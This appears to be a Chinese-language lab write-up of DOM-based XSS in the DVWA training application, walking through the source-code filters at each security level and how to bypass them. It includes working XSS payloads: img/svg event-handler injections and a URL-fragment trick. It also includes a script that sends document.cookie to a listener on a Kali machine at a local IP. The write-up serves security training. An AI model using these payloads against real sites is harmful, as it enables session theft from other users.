DOM型XSS
Document Object Model 文本对象模型xss、可能是存储型也可能是反射型、只决定于输出地方
在
反射型XSS
中输入:
<script>var img=document.createElement(‘img’);img.src=’http://192.168.232.130:88/log?’+escape(document.cookie);</script>
kali监听:
在
存储型XSS
中输入:
<script>var img=document.createElement(‘img’);img.src=’http://192.168.232.130:88/log?’+escape(document.cookie);</script>
kali监听:
目录
low级别源码分析
没有任何防护
漏洞利用
修改default参数,成功弹窗:
medium级别源码分析
源码中有
array_key_exists()函数
,检查某个数组中是否存在指定的键名default,如果键名存在则返回 true,
如果键名不存在则返回 false
stripos()函数
,查找字符串在另一字符串中第一次出现的位置(不区分大小写),即在参数default中查找<script
漏洞利用
过滤script,可以使用img标签、svg标签,先用<img src=1 οnerrοr=alert(‘xss’)>,没有弹出任何窗口 ,f12查看代码,
将xss语句插入value值中
修改default参数:default=</option></select><img src=” οnerrοr=alert(‘xss’)>
获取cookie
修改如下:default=</option></select><svg/οnlοad=alert(document.cookie)>
high级别源码分析
该源码使用了switch()函数,在这里相当于白名单,只允许传 default值为English、French、German、Spanish 其中一个。
漏洞利用
源码中发现#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
修改:default=English #<script>alert(‘xss’)</script>
impossible级别源码分析
不必做任何事,在客户端保护处理